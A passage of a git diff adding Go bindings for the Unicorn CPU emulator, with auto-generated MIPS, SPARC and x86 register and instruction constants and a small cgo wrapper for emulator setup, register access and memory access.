UC_MIPS_REG_F27 = 84 + UC_MIPS_REG_F28 = 85 + UC_MIPS_REG_F29 = 86 + UC_MIPS_REG_F30 = 87 + UC_MIPS_REG_F31 = 88 + UC_MIPS_REG_FCC0 = 89 + UC_MIPS_REG_FCC1 = 90 + UC_MIPS_REG_FCC2 = 91 + UC_MIPS_REG_FCC3 = 92 + UC_MIPS_REG_FCC4 = 93 + UC_MIPS_REG_FCC5 = 94 + UC_MIPS_REG_FCC6 = 95 + UC_MIPS_REG_FCC7 = 96 + +// AFPR128 + UC_MIPS_REG_W0 = 97 + UC_MIPS_REG_W1 = 98 + UC_MIPS_REG_W2 = 99 + UC_MIPS_REG_W3 = 100 + UC_MIPS_REG_W4 = 101 + UC_MIPS_REG_W5 = 102 + UC_MIPS_REG_W6 = 103 + UC_MIPS_REG_W7 = 104 + UC_MIPS_REG_W8 = 105 + UC_MIPS_REG_W9 = 106 + UC_MIPS_REG_W10 = 107 + UC_MIPS_REG_W11 = 108 + UC_MIPS_REG_W12 = 109 + UC_MIPS_REG_W13 = 110 + UC_MIPS_REG_W14 = 111 + UC_MIPS_REG_W15 = 112 + UC_MIPS_REG_W16 = 113 + UC_MIPS_REG_W17 = 114 + UC_MIPS_REG_W18 = 115 + UC_MIPS_REG_W19 = 116 + UC_MIPS_REG_W20 = 117 + UC_MIPS_REG_W21 = 118 + UC_MIPS_REG_W22 = 119 + UC_MIPS_REG_W23 = 120 + UC_MIPS_REG_W24 = 121 + UC_MIPS_REG_W25 = 122 + UC_MIPS_REG_W26 = 123 + UC_MIPS_REG_W27 = 124 + UC_MIPS_REG_W28 = 125 + UC_MIPS_REG_W29 = 126 + UC_MIPS_REG_W30 = 127 + UC_MIPS_REG_W31 = 128 + UC_MIPS_REG_HI = 129 + UC_MIPS_REG_LO = 130 + UC_MIPS_REG_P0 = 131 + UC_MIPS_REG_P1 = 132 + UC_MIPS_REG_P2 = 133 + UC_MIPS_REG_MPL0 = 134 + UC_MIPS_REG_MPL1 = 135 + UC_MIPS_REG_MPL2 = 136 + UC_MIPS_REG_ENDING = 137 + UC_MIPS_REG_ZERO = 2 + UC_MIPS_REG_AT = 3 + UC_MIPS_REG_V0 = 4 + UC_MIPS_REG_V1 = 5 + UC_MIPS_REG_A0 = 6 + UC_MIPS_REG_A1 = 7 + UC_MIPS_REG_A2 = 8 + UC_MIPS_REG_A3 = 9 + UC_MIPS_REG_T0 = 10 + UC_MIPS_REG_T1 = 11 + UC_MIPS_REG_T2 = 12 + UC_MIPS_REG_T3 = 13 + UC_MIPS_REG_T4 = 14 + UC_MIPS_REG_T5 = 15 + UC_MIPS_REG_T6 = 16 + UC_MIPS_REG_T7 = 17 + UC_MIPS_REG_S0 = 18 + UC_MIPS_REG_S1 = 19 + UC_MIPS_REG_S2 = 20 + UC_MIPS_REG_S3 = 21 + UC_MIPS_REG_S4 = 22 + UC_MIPS_REG_S5 = 23 + UC_MIPS_REG_S6 = 24 + UC_MIPS_REG_S7 = 25 + UC_MIPS_REG_T8 = 26 + UC_MIPS_REG_T9 = 27 + UC_MIPS_REG_K0 = 28 + UC_MIPS_REG_K1 = 29 + UC_MIPS_REG_GP = 30 + UC_MIPS_REG_SP = 31 + UC_MIPS_REG_FP = 32 + UC_MIPS_REG_S8 = 32 + UC_MIPS_REG_RA = 33 + UC_MIPS_REG_HI0 = 45 + UC_MIPS_REG_HI1 = 46 + UC_MIPS_REG_HI2 = 47 + UC_MIPS_REG_HI3 = 48 + UC_MIPS_REG_LO0 = 45 + UC_MIPS_REG_LO1 = 46 + UC_MIPS_REG_LO2 = 47 + UC_MIPS_REG_LO3 = 48 +) \ No newline at end of file diff --git a/bindings/go/unicorn/sparc_const.go b/bindings/go/unicorn/sparc_const.go new file mode 100644 index 00000000..a2db9ca7 --- /dev/null +++ b/bindings/go/unicorn/sparc_const.go @@ -0,0 +1,99 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [sparc_const.go] +const ( + +// SPARC registers + + UC_SPARC_REG_INVALID = 0 + UC_SPARC_REG_F0 = 1 + UC_SPARC_REG_F1 = 2 + UC_SPARC_REG_F2 = 3 + UC_SPARC_REG_F3 = 4 + UC_SPARC_REG_F4 = 5 + UC_SPARC_REG_F5 = 6 + UC_SPARC_REG_F6 = 7 + UC_SPARC_REG_F7 = 8 + UC_SPARC_REG_F8 = 9 + UC_SPARC_REG_F9 = 10 + UC_SPARC_REG_F10 = 11 + UC_SPARC_REG_F11 = 12 + UC_SPARC_REG_F12 = 13 + UC_SPARC_REG_F13 = 14 + UC_SPARC_REG_F14 = 15 + UC_SPARC_REG_F15 = 16 + UC_SPARC_REG_F16 = 17 + UC_SPARC_REG_F17 = 18 + UC_SPARC_REG_F18 = 19 + UC_SPARC_REG_F19 = 20 + UC_SPARC_REG_F20 = 21 + UC_SPARC_REG_F21 = 22 + UC_SPARC_REG_F22 = 23 + UC_SPARC_REG_F23 = 24 + UC_SPARC_REG_F24 = 25 + UC_SPARC_REG_F25 = 26 + UC_SPARC_REG_F26 = 27 + UC_SPARC_REG_F27 = 28 + UC_SPARC_REG_F28 = 29 + UC_SPARC_REG_F29 = 30 + UC_SPARC_REG_F30 = 31 + UC_SPARC_REG_F31 = 32 + UC_SPARC_REG_F32 = 33 + UC_SPARC_REG_F34 = 34 + UC_SPARC_REG_F36 = 35 + UC_SPARC_REG_F38 = 36 + UC_SPARC_REG_F40 = 37 + UC_SPARC_REG_F42 = 38 + UC_SPARC_REG_F44 = 39 + UC_SPARC_REG_F46 = 40 + UC_SPARC_REG_F48 = 41 + UC_SPARC_REG_F50 = 42 + UC_SPARC_REG_F52 = 43 + UC_SPARC_REG_F54 = 44 + UC_SPARC_REG_F56 = 45 + UC_SPARC_REG_F58 = 46 + UC_SPARC_REG_F60 = 47 + UC_SPARC_REG_F62 = 48 + UC_SPARC_REG_FCC0 = 49 + UC_SPARC_REG_FCC1 = 50 + UC_SPARC_REG_FCC2 = 51 + UC_SPARC_REG_FCC3 = 52 + UC_SPARC_REG_FP = 53 + UC_SPARC_REG_G0 = 54 + UC_SPARC_REG_G1 = 55 + UC_SPARC_REG_G2 = 56 + UC_SPARC_REG_G3 = 57 + UC_SPARC_REG_G4 = 58 + UC_SPARC_REG_G5 = 59 + UC_SPARC_REG_G6 = 60 + UC_SPARC_REG_G7 = 61 + UC_SPARC_REG_I0 = 62 + UC_SPARC_REG_I1 = 63 + UC_SPARC_REG_I2 = 64 + UC_SPARC_REG_I3 = 65 + UC_SPARC_REG_I4 = 66 + UC_SPARC_REG_I5 = 67 + UC_SPARC_REG_I7 = 68 + UC_SPARC_REG_ICC = 69 + UC_SPARC_REG_L0 = 70 + UC_SPARC_REG_L1 = 71 + UC_SPARC_REG_L2 = 72 + UC_SPARC_REG_L3 = 73 + UC_SPARC_REG_L4 = 74 + UC_SPARC_REG_L5 = 75 + UC_SPARC_REG_L6 = 76 + UC_SPARC_REG_L7 = 77 + UC_SPARC_REG_O0 = 78 + UC_SPARC_REG_O1 = 79 + UC_SPARC_REG_O2 = 80 + UC_SPARC_REG_O3 = 81 + UC_SPARC_REG_O4 = 82 + UC_SPARC_REG_O5 = 83 + UC_SPARC_REG_O7 = 84 + UC_SPARC_REG_SP = 85 + UC_SPARC_REG_Y = 86 + UC_SPARC_REG_XCC = 87 + UC_SPARC_REG_PC = 88 + UC_SPARC_REG_ENDING = 89 + UC_SPARC_REG_O6 = 85 + UC_SPARC_REG_I6 = 53 +) \ No newline at end of file diff --git a/bindings/go/unicorn/unicorn.go b/bindings/go/unicorn/unicorn.go new file mode 100644 index 00000000..04f161c0 --- /dev/null +++ b/bindings/go/unicorn/unicorn.go @@ -0,0 +1,99 @@ +package unicorn + +import ( + "unsafe" +) + +/* +#cgo LDFLAGS: -lunicorn +#include +*/ +import "C" + +type UcError C.uc_err + +func (u UcError) Error() string { + return C.GoString(C.uc_strerror(C.uc_err(u))) +} + +func errReturn(err C.uc_err) error { + if err != UC_ERR_OK { + return UcError(err) + } + return nil +} + +type Uc struct { + Handle C.uch + Arch, Mode int +} + +type UcOptions struct { + Timeout, Count uint64 +} + +func NewUc(arch, mode int) (*Uc, error) { + var major, minor C.uint + C.uc_version(&major, &minor) + if major != C.UC_API_MAJOR || minor != C.UC_API_MINOR { + return nil, UcError(UC_ERR_VERSION) + } + var handle C.uch + if ucerr := C.uc_open(C.uc_arch(arch), C.uc_mode(mode), &handle); ucerr != UC_ERR_OK { + return nil, UcError(ucerr) + } + uc := &Uc{handle, arch, mode} + return uc, nil +} + +func (u *Uc) StartWithOptions(begin, until uint64, options *UcOptions) error { + ucerr := C.uc_emu_start(u.Handle, C.uint64_t(begin), C.uint64_t(until), C.uint64_t(options.Timeout), C.size_t(options.Count)) + return errReturn(ucerr) +} + +func (u *Uc) Start(begin, until uint64) error { + return u.StartWithOptions(begin, until, &UcOptions{}) +} + +func (u *Uc) Stop() error { + return errReturn(C.uc_emu_stop(u.Handle)) +} + +func (u *Uc) RegWrite(reg int, value uint64) error { + var val C.uint64_t = C.uint64_t(value) + ucerr := C.uc_reg_write(u.Handle, C.int(reg), unsafe.Pointer(&val)) + return errReturn(ucerr) +} + +func (u *Uc) RegRead(reg int) (uint64, error) { + var val C.uint64_t + ucerr := C.uc_reg_read(u.Handle, C.int(reg), unsafe.Pointer(&val)) + return uint64(val), errReturn(ucerr) +} + +func (u *Uc) MemWrite(addr uint64, data []byte) error { + if len(data) == 0 { + return nil + } + return errReturn(C.uc_mem_write(u.Handle, C.uint64_t(addr), (*C.uint8_t)(unsafe.Pointer(&data[0])), C.size_t(len(data)))) +} + +func (u *Uc) MemReadInto(dst []byte, addr uint64) error { + if len(dst) == 0 { + return nil + } + return errReturn(C.uc_mem_read(u.Handle, C.uint64_t(addr), (*C.uint8_t)(unsafe.Pointer(&dst[0])), C.size_t(len(dst)))) +} + +func (u *Uc) MemRead(addr, size uint64) ([]byte, error) { + dst := make([]byte, size) + return dst, u.MemReadInto(dst, addr) +} + +func (u *Uc) MemMapProt(addr, size uint64, prot int) error { + return errReturn(C.uc_mem_map(u.Handle, C.uint64_t(addr), C.size_t(size), C.uint32_t(prot))) +} + +func (u *Uc) MemMap(addr, size uint64) error { + return u.MemMapProt(addr, size, UC_PROT_ALL) +} diff --git a/bindings/go/unicorn/unicorn_const.go b/bindings/go/unicorn/unicorn_const.go new file mode 100644 index 00000000..427b34cd --- /dev/null +++ b/bindings/go/unicorn/unicorn_const.go @@ -0,0 +1,69 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [unicorn_const.go] +const ( + + UC_API_MAJOR = 0 + UC_API_MINOR = 9 + UC_SECOND_SCALE = 1000000 + UC_MILISECOND_SCALE = 1000 + UC_ARCH_ARM = 1 + UC_ARCH_ARM64 = 2 + UC_ARCH_MIPS = 3 + UC_ARCH_X86 = 4 + UC_ARCH_PPC = 5 + UC_ARCH_SPARC = 6 + UC_ARCH_M68K = 7 + UC_ARCH_MAX = 8 + + UC_MODE_LITTLE_ENDIAN = 0 + + UC_MODE_ARM = 0 + UC_MODE_16 = 2 + UC_MODE_32 = 4 + UC_MODE_64 = 8 + UC_MODE_THUMB = 16 + UC_MODE_MCLASS = 32 + UC_MODE_V8 = 64 + UC_MODE_MICRO = 16 + UC_MODE_MIPS3 = 32 + UC_MODE_MIPS32R6 = 64 + UC_MODE_V9 = 16 + UC_MODE_QPX = 16 + UC_MODE_BIG_ENDIAN = 1073741824 + UC_MODE_MIPS32 = 4 + UC_MODE_MIPS64 = 8 + + UC_ERR_OK = 0 + UC_ERR_OOM = 1 + UC_ERR_ARCH = 2 + UC_ERR_HANDLE = 3 + UC_ERR_UCH = 4 + UC_ERR_MODE = 5 + UC_ERR_VERSION = 6 + UC_ERR_MEM_READ = 7 + UC_ERR_MEM_WRITE = 8 + UC_ERR_CODE_INVALID = 9 + UC_ERR_HOOK = 10 + UC_ERR_INSN_INVALID = 11 + UC_ERR_MAP = 12 + UC_ERR_MEM_WRITE_NW = 13 + UC_ERR_MEM_READ_NR = 14 + UC_MEM_READ = 16 + UC_MEM_WRITE = 17 + UC_MEM_READ_WRITE = 18 + UC_MEM_WRITE_NW = 19 + UC_MEM_READ_NR = 20 + UC_HOOK_INTR = 32 + UC_HOOK_INSN = 33 + UC_HOOK_CODE = 34 + UC_HOOK_BLOCK = 35 + UC_HOOK_MEM_INVALID = 36 + UC_HOOK_MEM_READ = 37 + UC_HOOK_MEM_WRITE = 38 + UC_HOOK_MEM_READ_WRITE = 39 + + UC_PROT_NONE = 0 + UC_PROT_READ = 1 + UC_PROT_WRITE = 2 + UC_PROT_ALL = 3 +) \ No newline at end of file diff --git a/bindings/go/unicorn/x86_const.go b/bindings/go/unicorn/x86_const.go new file mode 100644 index 00000000..0849d173 --- /dev/null +++ b/bindings/go/unicorn/x86_const.go @@ -0,0 +1,1592 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [x86_const.go] +const ( + +// X86 registers + + UC_X86_REG_INVALID = 0 + UC_X86_REG_AH = 1 + UC_X86_REG_AL = 2 + UC_X86_REG_AX = 3 + UC_X86_REG_BH = 4 + UC_X86_REG_BL = 5 + UC_X86_REG_BP = 6 + UC_X86_REG_BPL = 7 + UC_X86_REG_BX = 8 + UC_X86_REG_CH = 9 + UC_X86_REG_CL = 10 + UC_X86_REG_CS = 11 + UC_X86_REG_CX = 12 + UC_X86_REG_DH = 13 + UC_X86_REG_DI = 14 + UC_X86_REG_DIL = 15 + UC_X86_REG_DL = 16 + UC_X86_REG_DS = 17 + UC_X86_REG_DX = 18 + UC_X86_REG_EAX = 19 + UC_X86_REG_EBP = 20 + UC_X86_REG_EBX = 21 + UC_X86_REG_ECX = 22 + UC_X86_REG_EDI = 23 + UC_X86_REG_EDX = 24 + UC_X86_REG_EFLAGS = 25 + UC_X86_REG_EIP = 26 + UC_X86_REG_EIZ = 27 + UC_X86_REG_ES = 28 + UC_X86_REG_ESI = 29 + UC_X86_REG_ESP = 30 + UC_X86_REG_FPSW = 31 + UC_X86_REG_FS = 32 + UC_X86_REG_GS = 33 + UC_X86_REG_IP = 34 + UC_X86_REG_RAX = 35 + UC_X86_REG_RBP = 36 + UC_X86_REG_RBX = 37 + UC_X86_REG_RCX = 38 + UC_X86_REG_RDI = 39 + UC_X86_REG_RDX = 40 + UC_X86_REG_RIP = 41 + UC_X86_REG_RIZ = 42 + UC_X86_REG_RSI = 43 + UC_X86_REG_RSP = 44 + UC_X86_REG_SI = 45 + UC_X86_REG_SIL = 46 + UC_X86_REG_SP = 47 + UC_X86_REG_SPL = 48 + UC_X86_REG_SS = 49 + UC_X86_REG_CR0 = 50 + UC_X86_REG_CR1 = 51 + UC_X86_REG_CR2 = 52 + UC_X86_REG_CR3 = 53 + UC_X86_REG_CR4 = 54 + UC_X86_REG_CR5 = 55 + UC_X86_REG_CR6 = 56 + UC_X86_REG_CR7 = 57 + UC_X86_REG_CR8 = 58 + UC_X86_REG_CR9 = 59 + UC_X86_REG_CR10 = 60 + UC_X86_REG_CR11 = 61 + UC_X86_REG_CR12 = 62 + UC_X86_REG_CR13 = 63 + UC_X86_REG_CR14 = 64 + UC_X86_REG_CR15 = 65 + UC_X86_REG_DR0 = 66 + UC_X86_REG_DR1 = 67 + UC_X86_REG_DR2 = 68 + UC_X86_REG_DR3 = 69 + UC_X86_REG_DR4 = 70 + UC_X86_REG_DR5 = 71 + UC_X86_REG_DR6 = 72 + UC_X86_REG_DR7 = 73 + UC_X86_REG_DR8 = 74 + UC_X86_REG_DR9 = 75 + UC_X86_REG_DR10 = 76 + UC_X86_REG_DR11 = 77 + UC_X86_REG_DR12 = 78 + UC_X86_REG_DR13 = 79 + UC_X86_REG_DR14 = 80 + UC_X86_REG_DR15 = 81 + UC_X86_REG_FP0 = 82 + UC_X86_REG_FP1 = 83 + UC_X86_REG_FP2 = 84 + UC_X86_REG_FP3 = 85 + UC_X86_REG_FP4 = 86 + UC_X86_REG_FP5 = 87 + UC_X86_REG_FP6 = 88 + UC_X86_REG_FP7 = 89 + UC_X86_REG_K0 = 90 + UC_X86_REG_K1 = 91 + UC_X86_REG_K2 = 92 + UC_X86_REG_K3 = 93 + UC_X86_REG_K4 = 94 + UC_X86_REG_K5 = 95 + UC_X86_REG_K6 = 96 + UC_X86_REG_K7 = 97 + UC_X86_REG_MM0 = 98 + UC_X86_REG_MM1 = 99 + UC_X86_REG_MM2 = 100 + UC_X86_REG_MM3 = 101 + UC_X86_REG_MM4 = 102 + UC_X86_REG_MM5 = 103 + UC_X86_REG_MM6 = 104 + UC_X86_REG_MM7 = 105 + UC_X86_REG_R8 = 106 + UC_X86_REG_R9 = 107 + UC_X86_REG_R10 = 108 + UC_X86_REG_R11 = 109 + UC_X86_REG_R12 = 110 + UC_X86_REG_R13 = 111 + UC_X86_REG_R14 = 112 + UC_X86_REG_R15 = 113 + UC_X86_REG_ST0 = 114 + UC_X86_REG_ST1 = 115 + UC_X86_REG_ST2 = 116 + UC_X86_REG_ST3 = 117 + UC_X86_REG_ST4 = 118 + UC_X86_REG_ST5 = 119 + UC_X86_REG_ST6 = 120 + UC_X86_REG_ST7 = 121 + UC_X86_REG_XMM0 = 122 + UC_X86_REG_XMM1 = 123 + UC_X86_REG_XMM2 = 124 + UC_X86_REG_XMM3 = 125 + UC_X86_REG_XMM4 = 126 + UC_X86_REG_XMM5 = 127 + UC_X86_REG_XMM6 = 128 + UC_X86_REG_XMM7 = 129 + UC_X86_REG_XMM8 = 130 + UC_X86_REG_XMM9 = 131 + UC_X86_REG_XMM10 = 132 + UC_X86_REG_XMM11 = 133 + UC_X86_REG_XMM12 = 134 + UC_X86_REG_XMM13 = 135 + UC_X86_REG_XMM14 = 136 + UC_X86_REG_XMM15 = 137 + UC_X86_REG_XMM16 = 138 + UC_X86_REG_XMM17 = 139 + UC_X86_REG_XMM18 = 140 + UC_X86_REG_XMM19 = 141 + UC_X86_REG_XMM20 = 142 + UC_X86_REG_XMM21 = 143 + UC_X86_REG_XMM22 = 144 + UC_X86_REG_XMM23 = 145 + UC_X86_REG_XMM24 = 146 + UC_X86_REG_XMM25 = 147 + UC_X86_REG_XMM26 = 148 + UC_X86_REG_XMM27 = 149 + UC_X86_REG_XMM28 = 150 + UC_X86_REG_XMM29 = 151 + UC_X86_REG_XMM30 = 152 + UC_X86_REG_XMM31 = 153 + UC_X86_REG_YMM0 = 154 + UC_X86_REG_YMM1 = 155 + UC_X86_REG_YMM2 = 156 + UC_X86_REG_YMM3 = 157 + UC_X86_REG_YMM4 = 158 + UC_X86_REG_YMM5 = 159 + UC_X86_REG_YMM6 = 160 + UC_X86_REG_YMM7 = 161 + UC_X86_REG_YMM8 = 162 + UC_X86_REG_YMM9 = 163 + UC_X86_REG_YMM10 = 164 + UC_X86_REG_YMM11 = 165 + UC_X86_REG_YMM12 = 166 + UC_X86_REG_YMM13 = 167 + UC_X86_REG_YMM14 = 168 + UC_X86_REG_YMM15 = 169 + UC_X86_REG_YMM16 = 170 + UC_X86_REG_YMM17 = 171 + UC_X86_REG_YMM18 = 172 + UC_X86_REG_YMM19 = 173 + UC_X86_REG_YMM20 = 174 + UC_X86_REG_YMM21 = 175 + UC_X86_REG_YMM22 = 176 + UC_X86_REG_YMM23 = 177 + UC_X86_REG_YMM24 = 178 + UC_X86_REG_YMM25 = 179 + UC_X86_REG_YMM26 = 180 + UC_X86_REG_YMM27 = 181 + UC_X86_REG_YMM28 = 182 + UC_X86_REG_YMM29 = 183 + UC_X86_REG_YMM30 = 184 + UC_X86_REG_YMM31 = 185 + UC_X86_REG_ZMM0 = 186 + UC_X86_REG_ZMM1 = 187 + UC_X86_REG_ZMM2 = 188 + UC_X86_REG_ZMM3 = 189 + UC_X86_REG_ZMM4 = 190 + UC_X86_REG_ZMM5 = 191 + UC_X86_REG_ZMM6 = 192 + UC_X86_REG_ZMM7 = 193 + UC_X86_REG_ZMM8 = 194 + UC_X86_REG_ZMM9 = 195 + UC_X86_REG_ZMM10 = 196 + UC_X86_REG_ZMM11 = 197 + UC_X86_REG_ZMM12 = 198 + UC_X86_REG_ZMM13 = 199 + UC_X86_REG_ZMM14 = 200 + UC_X86_REG_ZMM15 = 201 + UC_X86_REG_ZMM16 = 202 + UC_X86_REG_ZMM17 = 203 + UC_X86_REG_ZMM18 = 204 + UC_X86_REG_ZMM19 = 205 + UC_X86_REG_ZMM20 = 206 + UC_X86_REG_ZMM21 = 207 + UC_X86_REG_ZMM22 = 208 + UC_X86_REG_ZMM23 = 209 + UC_X86_REG_ZMM24 = 210 + UC_X86_REG_ZMM25 = 211 + UC_X86_REG_ZMM26 = 212 + UC_X86_REG_ZMM27 = 213 + UC_X86_REG_ZMM28 = 214 + UC_X86_REG_ZMM29 = 215 + UC_X86_REG_ZMM30 = 216 + UC_X86_REG_ZMM31 = 217 + UC_X86_REG_R8B = 218 + UC_X86_REG_R9B = 219 + UC_X86_REG_R10B = 220 + UC_X86_REG_R11B = 221 + UC_X86_REG_R12B = 222 + UC_X86_REG_R13B = 223 + UC_X86_REG_R14B = 224 + UC_X86_REG_R15B = 225 + UC_X86_REG_R8D = 226 + UC_X86_REG_R9D = 227 + UC_X86_REG_R10D = 228 + UC_X86_REG_R11D = 229 + UC_X86_REG_R12D = 230 + UC_X86_REG_R13D = 231 + UC_X86_REG_R14D = 232 + UC_X86_REG_R15D = 233 + UC_X86_REG_R8W = 234 + UC_X86_REG_R9W = 235 + UC_X86_REG_R10W = 236 + UC_X86_REG_R11W = 237 + UC_X86_REG_R12W = 238 + UC_X86_REG_R13W = 239 + UC_X86_REG_R14W = 240 + UC_X86_REG_R15W = 241 + UC_X86_REG_ENDING = 242 + +// X86 instructions + + UC_X86_INS_INVALID = 0 + UC_X86_INS_AAA = 1 + UC_X86_INS_AAD = 2 + UC_X86_INS_AAM = 3 + UC_X86_INS_AAS = 4 + UC_X86_INS_FABS = 5 + UC_X86_INS_ADC = 6 + UC_X86_INS_ADCX = 7 + UC_X86_INS_ADD = 8 + UC_X86_INS_ADDPD = 9 + UC_X86_INS_ADDPS = 10 + UC_X86_INS_ADDSD = 11 + UC_X86_INS_ADDSS = 12 + UC_X86_INS_ADDSUBPD = 13 + UC_X86_INS_ADDSUBPS = 14 + UC_X86_INS_FADD = 15 + UC_X86_INS_FIADD = 16 + UC_X86_INS_FADDP = 17 + UC_X86_INS_ADOX = 18 + UC_X86_INS_AESDECLAST = 19 + UC_X86_INS_AESDEC = 20 + UC_X86_INS_AESENCLAST = 21 + UC_X86_INS_AESENC = 22 + UC_X86_INS_AESIMC = 23 + UC_X86_INS_AESKEYGENASSIST = 24 + UC_X86_INS_AND = 25 + UC_X86_INS_ANDN = 26 + UC_X86_INS_ANDNPD = 27 + UC_X86_INS_ANDNPS = 28 + UC_X86_INS_ANDPD = 29 + UC_X86_INS_ANDPS = 30 + UC_X86_INS_ARPL = 31 + UC_X86_INS_BEXTR = 32 + UC_X86_INS_BLCFILL = 33 + UC_X86_INS_BLCI = 34 + UC_X86_INS_BLCIC = 35 + UC_X86_INS_BLCMSK = 36 + UC_X86_INS_BLCS = 37 + UC_X86_INS_BLENDPD = 38 + UC_X86_INS_BLENDPS = 39 + UC_X86_INS_BLENDVPD = 40 + UC_X86_INS_BLENDVPS = 41 + UC_X86_INS_BLSFILL = 42 + UC_X86_INS_BLSI = 43 + UC_X86_INS_BLSIC = 44 + UC_X86_INS_BLSMSK = 45 + UC_X86_INS_BLSR = 46 + UC_X86_INS_BOUND = 47 + UC_X86_INS_BSF = 48 + UC_X86_INS_BSR = 49 + UC_X86_INS_BSWAP = 50 + UC_X86_INS_BT = 51 + UC_X86_INS_BTC = 52 + UC_X86_INS_BTR = 53 + UC_X86_INS_BTS = 54 + UC_X86_INS_BZHI = 55 + UC_X86_INS_CALL = 56 + UC_X86_INS_CBW = 57 + UC_X86_INS_CDQ = 58 + UC_X86_INS_CDQE = 59 + UC_X86_INS_FCHS = 60 + UC_X86_INS_CLAC = 61 + UC_X86_INS_CLC = 62 + UC_X86_INS_CLD = 63 + UC_X86_INS_CLFLUSH = 64 + UC_X86_INS_CLFLUSHOPT = 65 + UC_X86_INS_CLGI = 66 + UC_X86_INS_CLI = 67 + UC_X86_INS_CLTS = 68 + UC_X86_INS_CLWB = 69 + UC_X86_INS_CMC = 70 + UC_X86_INS_CMOVA = 71 + UC_X86_INS_CMOVAE = 72 + UC_X86_INS_CMOVB = 73 + UC_X86_INS_CMOVBE = 74 + UC_X86_INS_FCMOVBE = 75 + UC_X86_INS_FCMOVB = 76 + UC_X86_INS_CMOVE = 77 + UC_X86_INS_FCMOVE = 78 + UC_X86_INS_CMOVG = 79 + UC_X86_INS_CMOVGE = 80 + UC_X86_INS_CMOVL = 81 + UC_X86_INS_CMOVLE = 82 + UC_X86_INS_FCMOVNBE = 83 + UC_X86_INS_FCMOVNB = 84 + UC_X86_INS_CMOVNE = 85 + UC_X86_INS_FCMOVNE = 86 + UC_X86_INS_CMOVNO = 87 + UC_X86_INS_CMOVNP = 88 + UC_X86_INS_FCMOVNU = 89 + UC_X86_INS_CMOVNS = 90 + UC_X86_INS_CMOVO = 91 + UC_X86_INS_CMOVP = 92 + UC_X86_INS_FCMOVU = 93 + UC_X86_INS_CMOVS = 94 + UC_X86_INS_CMP = 95 + UC_X86_INS_CMPPD = 96 + UC_X86_INS_CMPPS = 97 + UC_X86_INS_CMPSB = 98 + UC_X86_INS_CMPSD = 99 + UC_X86_INS_CMPSQ = 100 + UC_X86_INS_CMPSS = 101 + UC_X86_INS_CMPSW = 102 + UC_X86_INS_CMPXCHG16B = 103 + UC_X86_INS_CMPXCHG = 104 + UC_X86_INS_CMPXCHG8B = 105 + UC_X86_INS_COMISD = 106 + UC_X86_INS_COMISS = 107 + UC_X86_INS_FCOMP = 108 + UC_X86_INS_FCOMPI = 109 + UC_X86_INS_FCOMI = 110 + UC_X86_INS_FCOM = 111 + UC_X86_INS_FCOS = 112 + UC_X86_INS_CPUID = 113 + UC_X86_INS_CQO = 114 + UC_X86_INS_CRC32 = 115 + UC_X86_INS_CVTDQ2PD = 116 + UC_X86_INS_CVTDQ2PS = 117 + UC_X86_INS_CVTPD2DQ = 118 + UC_X86_INS_CVTPD2PS = 119 + UC_X86_INS_CVTPS2DQ = 120 + UC_X86_INS_CVTPS2PD = 121 + UC_X86_INS_CVTSD2SI = 122 + UC_X86_INS_CVTSD2SS = 123 + UC_X86_INS_CVTSI2SD = 124 + UC_X86_INS_CVTSI2SS = 125 + UC_X86_INS_CVTSS2SD = 126 + UC_X86_INS_CVTSS2SI = 127 + UC_X86_INS_CVTTPD2DQ = 128 + UC_X86_INS_CVTTPS2DQ = 129 + UC_X86_INS_CVTTSD2SI = 130 + UC_X86_INS_CVTTSS2SI = 131 + UC_X86_INS_CWD = 132 + UC_X86_INS_CWDE = 133 + UC_X86_INS_DAA = 134 + UC_X86_INS_DAS = 135 + UC_X86_INS_DATA16 = 136 + UC_X86_INS_DEC = 137 + UC_X86_INS_DIV = 138 + UC_X86_INS_DIVPD = 139 + UC_X86_INS_DIVPS = 140 + UC_X86_INS_FDIVR = 141 + UC_X86_INS_FIDIVR = 142 + UC_X86_INS_FDIVRP = 143 + UC_X86_INS_DIVSD = 144 + UC_X86_INS_DIVSS = 145 + UC_X86_INS_FDIV = 146 + UC_X86_INS_FIDIV = 147 + UC_X86_INS_FDIVP = 148 + UC_X86_INS_DPPD = 149 + UC_X86_INS_DPPS = 150 + UC_X86_INS_RET = 151 + UC_X86_INS_ENCLS = 152 + UC_X86_INS_ENCLU = 153 + UC_X86_INS_ENTER = 154 + UC_X86_INS_EXTRACTPS = 155 + UC_X86_INS_EXTRQ = 156 + UC_X86_INS_F2XM1 = 157 + UC_X86_INS_LCALL = 158 + UC_X86_INS_LJMP = 159 + UC_X86_INS_FBLD = 160 + UC_X86_INS_FBSTP = 161 + UC_X86_INS_FCOMPP = 162 + UC_X86_INS_FDECSTP = 163 + UC_X86_INS_FEMMS = 164 + UC_X86_INS_FFREE = 165 + UC_X86_INS_FICOM = 166 + UC_X86_INS_FICOMP = 167 + UC_X86_INS_FINCSTP = 168 + UC_X86_INS_FLDCW = 169 + UC_X86_INS_FLDENV = 170 + UC_X86_INS_FLDL2E = 171 + UC_X86_INS_FLDL2T = 172 + UC_X86_INS_FLDLG2 = 173 + UC_X86_INS_FLDLN2 = 174 + UC_X86_INS_FLDPI = 175 + UC_X86_INS_FNCLEX = 176 + UC_X86_INS_FNINIT = 177 + UC_X86_INS_FNOP = 178 + UC_X86_INS_FNSTCW = 179 + UC_X86_INS_FNSTSW = 180 + UC_X86_INS_FPATAN = 181 + UC_X86_INS_FPREM = 182 + UC_X86_INS_FPREM1 = 183 + UC_X86_INS_FPTAN = 184 + UC_X86_INS_FFREEP = 185 + UC_X86_INS_FRNDINT = 186 + UC_X86_INS_FRSTOR = 187 + UC_X86_INS_FNSAVE = 188 + UC_X86_INS_FSCALE = 189 + UC_X86_INS_FSETPM = 190 + UC_X86_INS_FSINCOS = 191 + UC_X86_INS_FNSTENV = 192 + UC_X86_INS_FXAM = 193 + UC_X86_INS_FXRSTOR = 194 + UC_X86_INS_FXRSTOR64 = 195 + UC_X86_INS_FXSAVE = 196 + UC_X86_INS_FXSAVE64 = 197 + UC_X86_INS_FXTRACT = 198 + UC_X86_INS_FYL2X = 199 + UC_X86_INS_FYL2XP1 = 200 + UC_X86_INS_MOVAPD = 201 + UC_X86_INS_MOVAPS = 202 + UC_X86_INS_ORPD = 203 + UC_X86_INS_ORPS = 204 + UC_X86_INS_VMOVAPD = 205 + UC_X86_INS_VMOVAPS = 206 + UC_X86_INS_XORPD = 